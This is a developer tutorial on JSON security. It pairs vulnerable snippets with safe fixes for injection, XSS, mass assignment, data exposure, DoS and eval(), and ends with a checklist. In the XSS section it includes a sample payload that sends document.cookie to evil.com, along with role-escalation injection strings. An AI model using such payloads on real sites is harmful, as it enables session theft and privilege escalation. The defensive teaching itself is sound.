JSON Security

JSON is a data format, not a security mechanism. Using JSON incorrectly opens your application to attacks. Understanding the most common JSON security issues helps you build safer APIs and web applications.

Why JSON Security Matters

Imagine leaving a house key under the front door mat. The key looks harmless, but a bad actor can use it to enter. JSON data works the same way. The format is harmless, but how you process, display, and trust that data determines your application's safety.

Issue 1: JSON Injection

JSON injection happens when untrusted user input is embedded directly into a JSON string without proper escaping. This can break the JSON structure or inject unwanted data.

Vulnerable Example in JavaScript

// DO NOT do this - user input directly in JSON string
const userName = getUserInput(); // attacker enters: "Riya","role":"admin
const json = '{"name":"' + userName + '","role":"user"}';

console.log(json);
// Result: {"name":"Riya","role":"admin","role":"user"}
// The attacker injected an extra field!

Safe Approach: Always Use JSON.stringify()

const userName = getUserInput(); // even if attacker enters special characters
const data = { name: userName, role: "user" };
const json = JSON.stringify(data);

// JSON.stringify escapes special characters automatically
// The role "user" cannot be changed by input manipulation

Issue 2: Cross-Site Scripting (XSS) via JSON

XSS happens when a browser executes malicious script. If your application displays JSON data directly in HTML without escaping, an attacker can inject JavaScript code into the displayed content.

Vulnerable Example

// Attacker submits this as their name:
// <script>document.location='https://evil.com?c='+document.cookie</script>

// If your code does this - UNSAFE:
document.getElementById('welcome').innerHTML = "Hello, " + user.name;
// The script tag runs and steals cookies!

Safe Approach: Use textContent, Not innerHTML

// SAFE - textContent does not execute HTML or scripts
document.getElementById('welcome').textContent = "Hello, " + user.name;
// The script tag is displayed as plain text, not executed

Diagram: XSS Attack Flow and Safe Alternative

UNSAFE FLOW
-----------
Attacker submits malicious name with <script> tag
    |
    v
Server stores it in database
    |
    v
Server sends it back in JSON response
    |
    v
JavaScript puts it into innerHTML
    |
    v
Browser EXECUTES the script  ← ATTACK SUCCEEDS

SAFE FLOW
---------
Same malicious name arrives in JSON
    |
    v
JavaScript puts it into textContent
    |
    v
Browser DISPLAYS the text as-is  ← ATTACK BLOCKED

Issue 3: Trusting JSON Data Without Validation

Receiving JSON from a client or a third-party API does not mean the data is correct or safe. Attackers can send any JSON structure they want, changing data types, adding extra fields, or omitting required fields.

Example: Privilege Escalation via JSON

// Client sends this registration request:
{
  "name": "Ravi",
  "email": "ravi@example.com",
  "role": "admin"   // ← attacker added this field!
}

If your server blindly accepts all fields and saves them to the database, the attacker gains admin access.

Safe Approach: Whitelist Allowed Fields

// Node.js example - only accept the fields you expect
app.post('/register', (req, res) => {
  const { name, email, password } = req.body; // Destructure only known fields
  const role = "user"; // Always set role on the server, never trust the client

  const newUser = { name, email, password, role };
  // Save newUser to database - "role: admin" from attacker is ignored
});

Issue 4: Exposing Sensitive Data in JSON Responses

APIs sometimes return more data than needed. A user's profile JSON might include their password hash, internal ID, or other sensitive fields that the frontend does not need.

Unsafe API Response

{
  "id": 1001,
  "name": "Meera",
  "email": "meera@example.com",
  "passwordHash": "$2b$10$Xhj8kL...",  // Should NEVER be sent to client
  "internalScore": 87,                  // Internal field, not for client
  "role": "admin"                       // Sensitive information
}

Safe API Response

{
  "name": "Meera",
  "email": "meera@example.com"
}

Only send what the client needs. Filter sensitive fields on the server before building the JSON response.

Filtering in Node.js

function safeUserResponse(user) {
  return {
    name: user.name,
    email: user.email
    // passwordHash and role are NOT included
  };
}

app.get('/profile', (req, res) => {
  const user = getUserFromDB(req.userId);
  res.json(safeUserResponse(user));
});

Issue 5: JSON Hijacking (Historical)

In older browsers, returning a JSON array as the top-level response from a GET request could allow other websites to steal that data using a script tag. Modern browsers block this, but it is still good practice to return a JSON object at the top level, not a bare array.

// Less safe (bare array at top level)
HTTP GET /api/orders
Response: [{"id":1,"total":500},{"id":2,"total":800}]

// Safer (object wrapping the array)
HTTP GET /api/orders
Response: {"orders": [{"id":1,"total":500},{"id":2,"total":800}]}

Issue 6: Large JSON Payloads (DoS Attacks)

An attacker can send an extremely large JSON body to exhaust your server's memory or CPU. This is a Denial of Service (DoS) attack.

Protection in Node.js with Express

const express = require('express');
const app = express();

// Limit JSON request body to 100 kilobytes
app.use(express.json({ limit: '100kb' }));

// Any request with a body larger than 100kb is rejected

Issue 7: Deeply Nested JSON (Stack Overflow Attack)

A malicious JSON payload with thousands of levels of nesting can crash a parser by causing a stack overflow. Most modern parsers have a default depth limit, but you should verify your parser's behavior.

Example of Dangerous JSON

{"a":{"a":{"a":{"a":{"a": ... }}}}}}  // Thousands of levels deep

Set a maximum parsing depth in your server configuration or use a parser that limits nesting automatically.

Issue 8: eval() and JSON

In very old JavaScript code, developers used eval() to parse JSON. This is extremely dangerous because eval() executes any JavaScript code in the string, not just JSON data.

// NEVER do this - extremely unsafe
const data = eval('(' + jsonString + ')');

// ALWAYS use JSON.parse() - safe
const data = JSON.parse(jsonString);

JSON.parse() only accepts valid JSON. It refuses to execute any code. eval() accepts and runs anything, including malicious JavaScript.

Issue 9: CORS and JSON APIs

CORS (Cross-Origin Resource Sharing) controls which websites can call your JSON API from a browser. Without proper CORS settings, any website on the internet can make requests to your API using a visitor's cookies.

// Express.js CORS configuration - restrict to your own domain
const cors = require('cors');

app.use(cors({
  origin: 'https://yourwebsite.com'  // Only allow your own domain
}));

Do not set origin: '*' for authenticated APIs. This allows all websites to access your API using the user's credentials.

JSON Security Checklist

[ ] Use JSON.stringify() to build JSON — never concatenate strings
[ ] Use textContent, not innerHTML, to display JSON data in HTML
[ ] Validate and whitelist fields on the server — never trust client JSON
[ ] Never return sensitive fields (passwords, tokens) in JSON responses
[ ] Limit JSON request body size to prevent DoS attacks
[ ] Use JSON.parse(), never eval(), to parse JSON
[ ] Configure CORS properly to restrict API access
[ ] Return JSON objects at the top level, not bare arrays
[ ] Set proper depth limits for JSON parsing
[ ] Use HTTPS so JSON data is encrypted in transit

Summary

JSON security is about how you handle data, not just the format itself. Always use JSON.stringify() and JSON.parse() properly. Validate and filter data on the server. Never expose sensitive fields in API responses. Limit request sizes, set CORS policies, and display data using textContent to prevent script injection. These practices protect your users and your application from common attacks.

Leave a Comment

Your email address will not be published. Required fields are marked *